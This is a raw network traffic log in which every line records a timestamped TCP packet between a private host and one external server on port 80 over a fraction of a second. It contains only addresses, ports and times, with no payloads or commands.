Jul 26, 2024 13:08:58.032573938 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032582045 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.032591105 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032602072 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032613993 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032640934 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.033904076 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.033934116 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.033946037 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.033979893 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.034084082 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034096956 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034121990 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.034286022 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034296989 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034310102 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034322977 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034334898 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.034343004 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034353018 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.034759998 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034770012 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034784079 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034795046 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034804106 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.034815073 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034821033 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034828901 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.034847021 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.035262108 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035274029 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035286903 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035298109 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035309076 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.035319090 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035334110 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.035337925 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035352945 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035365105 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035388947 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.035784960 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035798073 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035809994 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035824060 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.035829067 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035840034 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035849094 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.035859108 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035870075 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035881996 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035893917 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.035901070 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035916090 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.035926104 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035939932 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.035950899 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036024094 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.036736965 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036778927 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036784887 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036791086 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036801100 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036807060 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036812067 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036818027 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036828041 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036839962 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.036849976 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.036858082 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036870003 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036880016 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036890984 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.036914110 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.037719965 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037734985 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037745953 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037756920 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037766933 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037776947 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.037787914 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.037794113 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037806034 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037817955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037827969 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037841082 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037851095 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.037859917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037870884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037879944 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.037889004 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.037928104 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.038795948 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038810015 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038820028 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038831949 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038842916 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038852930 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.038862944 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038873911 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038883924 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038897991 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038903952 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.038913965 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038924932 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038933992 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.038943052 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038953066 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.038980007 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.039166927 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.039179087 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.039190054 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.039201975 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.039212942 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.039222002 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.039232969 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.039241076 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.039251089 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.039268970 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.124326944 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124403954 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124417067 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124428988 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124440908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124453068 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124464989 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124470949 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124497890 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.124497890 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.124519110 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.124531031 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124547005 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124557018 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124569893 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124583006 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124593019 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.124604940 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124618053 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124625921 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.124644041 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124686003 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.124883890 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124896049 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124906063 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124917030 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124932051 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.124942064 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.124947071 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124963045 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124974012 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124985933 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.124994993 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.125005960 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.125019073 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.125025988 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.125039101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.125099897 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.126669884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.126708031 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.126720905 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.126765966 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.126859903 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.126874924 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.126913071 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.127039909 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127051115 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127063990 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127074957 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127084970 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127094984 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.127110004 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127118111 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.127144098 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.127430916 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127444983 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127505064 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.127520084 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127629995 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127640963 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127652884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127665043 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127686024 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.127697945 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.127861977 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127923965 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127935886 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127952099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.127974987 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.128309011 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128320932 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128334999 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128348112 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128360033 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128370047 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.128379107 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128388882 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.128398895 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128412008 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128422022 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.128431082 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128448009 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128460884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.128493071 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.128498077 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.129175901 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129189968 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129201889 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129215002 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129226923 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129239082 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129247904 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.129259109 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129270077 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129277945 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.129287004 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129300117 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129314899 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.129321098 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129337072 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.129347086 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.129371881 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.130065918 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130079031 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130089998 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130103111 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130117893 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.130124092 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130137920 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130146980 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.130156994 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130167961 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130181074 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130188942 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.130198956 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.130206108 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130220890 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130233049 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130254030 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.130419970 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.130973101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130985975 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.130996943 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131007910 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131019115 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131032944 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131042004 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.131051064 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131062031 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131071091 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.131081104 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131093979 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131099939 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131112099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131131887 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.131139994 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.131231070 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.131695032 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131706953 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131716967 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131728888 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131741047 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131752014 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.131752014 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.131766081 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131778955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131792068 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131803036 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131813049 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.131820917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131830931 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.131839991 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.131851912 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.132057905 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.217370033 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217408895 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217422009 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217458963 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.217473030 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217509031 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.217524052 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217802048 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217820883 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217833996 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217848063 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.217860937 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217870951 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.217909098 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217921019 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217931986 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217943907 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.217952013 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.217964888 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.218211889 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218223095 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218261957 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.218430042 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218441963 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218453884 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218463898 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218475103 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.218482018 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218489885 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.218498945 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218509912 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218523026 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218534946 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.218540907 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.218578100 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.219106913 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.219118118 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.219156027 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.222122908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.222285986 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.222359896 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.222796917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.222851992 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.222896099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.222923040 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.222970009 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223018885 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.223053932 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223088026 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223121881 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223143101 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.223177910 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223227024 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.223278046 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223310947 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223371029 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.223422050 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223453045 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223485947 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.223505974 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.223537922 CEST	80	49171	198.46.176.133	192.168.2.22
